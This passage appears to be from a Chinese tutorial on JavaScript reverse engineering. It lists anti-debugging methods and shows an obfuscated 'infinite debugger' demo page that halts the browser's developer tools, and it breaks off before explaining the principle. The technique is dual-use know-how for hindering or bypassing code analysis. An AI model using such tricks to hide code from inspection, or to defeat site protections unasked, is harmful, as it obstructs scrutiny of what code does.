unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span data-cacheurl="" data-remoteid="" style="background-attachment: scroll;background-clip: border-box;background-color: transparent;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: 20px 20px;width: 20px;height: 20px;align-items: unset;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: flex;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: -25px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/rTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5wxFvqSYj3ZNo6qiajT6tvsPwADJiasicFlULwPsDvFbonJAIpKURwxEdw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><span style="font-size: 20px;color: rgb(64, 184, 250);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 25px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">0x01 JS逆向-反调试</span></span><span style="background-color: rgba(64, 184, 250, 0.5);align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 20px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: flex;font-size: 22px;font-weight: bold;flex-direction: unset;float: right;height: 10px;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: -10px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 200px;-webkit-box-reflect: unset;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(43, 43, 43);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;overflow-wrap: break-word;word-break: normal;"><span leaf="">反调试就是实现防止他人调试、动态分析自己的代码</span></p><p data-tool="mdnice编辑器" style="color: rgb(43, 43, 43);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;overflow-wrap: break-word;word-break: normal;"><span leaf="">检测调试方法：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(89, 89, 89);font-size: 14px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><span leaf="">无限debugger技术</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(89, 89, 89);font-size: 14px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><span leaf="">键盘监听（F12）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(89, 89, 89);font-size: 14px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><span leaf="">检测浏览器的高度插值</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(89, 89, 89);font-size: 14px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><span leaf="">检测开发者人员工具变量是否为true</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(89, 89, 89);font-size: 14px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><span leaf="">利用console.log调用次数</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(89, 89, 89);font-size: 14px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><span leaf="">利用代码运行的时间差</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(89, 89, 89);font-size: 14px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><span leaf="">利用toString</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(89, 89, 89);font-size: 14px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><span leaf="">检测非浏览器</span></p></li></ul><h2 data-tool="mdnice编辑器" style="border-bottom-color: rgb(64, 184, 250);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 4px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span data-cacheurl="" data-remoteid="" style="background-attachment: scroll;background-clip: border-box;background-color: transparent;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: 20px 20px;width: 20px;height: 20px;align-items: unset;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: flex;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: -25px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/rTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5wxFvqSYj3ZNo6qiajT6tvsPwADJiasicFlULwPsDvFbonJAIpKURwxEdw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><span style="font-size: 20px;color: rgb(64, 184, 250);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 25px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">0x02 无限Debugger的原理与绕过</span></span><span style="background-color: rgba(64, 184, 250, 0.5);align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 20px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: flex;font-size: 22px;font-weight: bold;flex-direction: unset;float: right;height: 10px;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: -10px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 200px;-webkit-box-reflect: unset;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(43, 43, 43);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;overflow-wrap: break-word;word-break: normal;"><span leaf="">Debugger是JavaScript中定义的一个专门用于断点调试的关键字，只要遇到它，JavaScript的执行就会在此处中断，进入调试模式。有了Debugger这个关键字，我们就可以非常方便的对JavaScript代码进行调试，比如使用JavaScript  Hook时，我们可以加入Debugger关键字，使其在关键的位置停下来，以便我们查找逆向突破口，但有时候Debugger会被网站开发者利用，使其成为阻挠我们正常调试的拦路虎。</span></p><h2 data-tool="mdnice编辑器" style="border-bottom-color: rgb(64, 184, 250);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 4px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span data-cacheurl="" data-remoteid="" style="background-attachment: scroll;background-clip: border-box;background-color: transparent;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: 20px 20px;width: 20px;height: 20px;align-items: unset;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: flex;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: -25px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/rTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5wxFvqSYj3ZNo6qiajT6tvsPwADJiasicFlULwPsDvFbonJAIpKURwxEdw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><span style="font-size: 20px;color: rgb(64, 184, 250);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 25px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">0x03 案例介绍</span></span><span style="background-color: rgba(64, 184, 250, 0.5);align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 20px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: flex;font-size: 22px;font-weight: bold;flex-direction: unset;float: right;height: 10px;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: -10px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 200px;-webkit-box-reflect: unset;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(43, 43, 43);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;overflow-wrap: break-word;word-break: normal;"><span leaf="">案例源码如下：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/04LrpEqAf4sBahicTELkciabore7uQzxQUqxr94QF1S3752orOzNdia6arCxe8o6DIicFiaJRKYHfQvhLVnpia2PhF38LjPoseziavm/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">&lt;!DOCTYPE </span><span style="line-height: 26px;"><span leaf="">html</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">html</span></span><span leaf=""> </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">lang</span></span><span leaf="">=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;en&#34;</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">head</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span leaf=""> </span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">meta</span></span><span leaf=""> </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">charset</span></span><span leaf="">=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;UTF-8&#34;</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span leaf=""> </span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">title</span></span><span leaf="">&gt;</span></span><span leaf="">无限Debugger案例</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">title</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">head</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">h1</span></span><span leaf=""> </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">id</span></span><span leaf="">=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;box&#34;</span></span><span leaf="">&gt;</span></span><span leaf="">TIDE</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">h1</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">body</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span leaf=""> </span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">script</span></span><span leaf=""> </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type</span></span><span leaf="">=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;text/javascript&#34;</span></span><span leaf="">&gt;</span></span><span style="line-height: 26px;"><span leaf=""><br/></span><span leaf="">  setInterval(</span><span style="line-height: 26px;"><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">=&gt;</span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">      (</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">function</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf="">a</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">function</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf="">a</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">              </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">Function</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Function(arguments[0]+&#34;&#39;</span></span><span leaf=""> + a + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;)()&#39;</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">          }</span><span leaf=""><br/></span><span leaf="">          )(a)</span><span leaf=""><br/></span><span leaf="">     }</span><span leaf=""><br/></span><span leaf="">     )(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;bugger&#39;</span></span><span leaf="">)(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;de&#39;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">     </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">));</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1000</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf=""> </span></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">script</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">body</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">html</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(43, 43, 43);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;overflow-wrap: break-word;word-break: normal;"><span leaf="">此处我们打开刚刚我们搭建好的案例地址。一般操作和之前的网站没有什么不同。但是，一旦我们打开开发者工具，就会发现它立即进入了断点模式，如下图所示。<img data-imgfileid="100037764" class="rich_pages wxw-img" data-ratio="0.5416666666666666" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=22ffdbd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5ff46x40VPicGKOTWv8FYK3XJKrUd8hKbtjV9FHrYgOcibl9FGYJO1FTw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/>此处我们并未设置任何断点，他就直接进入了断点模式，这时候我们点击 恢复脚本执行按钮，尝试跳过这个断点继续执行，但结果仍会一次次的进入断点模式，无限循环下去，我们称这样的情况为无限debugger。<img data-imgfileid="100037765" class="rich_pages wxw-img" data-ratio="0.33611111111111114" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=8ebf6916&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5t8v8yj6pTibdlnOABZXxpXCZyhVia92MloUzgVKyn4KGycb2eibS8UPFw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><h2 data-tool="mdnice编辑器" style="border-bottom-color: rgb(64, 184, 250);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 4px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span data-cacheurl="" data-remoteid="" style="background-attachment: scroll;background-clip: border-box;background-color: transparent;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: 20px 20px;width: 20px;height: 20px;align-items: unset;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: flex;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: -25px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/rTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5wxFvqSYj3ZNo6qiajT6tvsPwADJiasicFlULwPsDvFbonJAIpKURwxEdw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><span style="font-size: 20px;color: rgb(64, 184, 250);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 25px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">0x04 实现原理</span></span><span style="background-color: rgba(64, 184, 250, 0.5);align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 20px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: flex;font-size: 22px;font-weight: bold;flex-direction: unset;float: right;height: 10px;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: -10px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 200px;-webkit-box-reflect: unset;"></span></h2><p 